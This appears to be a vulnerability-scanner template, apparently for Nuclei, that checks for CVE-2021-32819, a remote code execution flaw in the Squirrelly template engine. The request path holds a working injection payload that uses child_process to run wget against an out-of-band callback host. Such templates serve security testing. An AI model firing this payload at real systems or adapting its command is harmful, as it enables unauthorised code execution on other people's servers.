30 lines
1.4 KiB
YAML
30 lines
1.4 KiB
YAML
id: CVE-2021-32819
|
|
|
|
info:
|
|
name: Nodejs squirrelly template engine RCE
|
|
author: pikpikcu
|
|
severity: high
|
|
description: |
|
|
Squirrelly is a template engine implemented in JavaScript that works out of the box with ExpressJS. Squirrelly mixes pure template data with engine configuration
|
|
options through the Express render API. By overwriting internal configuration options remote code execution may be triggered in downstream applications. There is
|
|
currently no fix for these issues as of the publication of this CVE. The latest version of squirrelly is currently 8.0.8. For complete details refer to the referenced GHSL-2021-023.
|
|
reference:
|
|
- https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/
|
|
- https://www.linuxlz.com/aqld/2331.html
|
|
- https://blog.diefunction.io/vulnerabilities/ghsl-2021-023
|
|
tags: cve,cve2021,nodejs,rce,oast
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.80
|
|
cve-id: CVE-2021-32819
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/?Express=aaaa&autoEscape=&defaultFilter=e%27);var+require=global.require+%7C%7C+global.process.mainModule.constructor._load;+require(%27child_process%27).exec(%27wget%20http://{{interactsh-url}}%27);//'
|
|
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
words:
|
|
- "http" |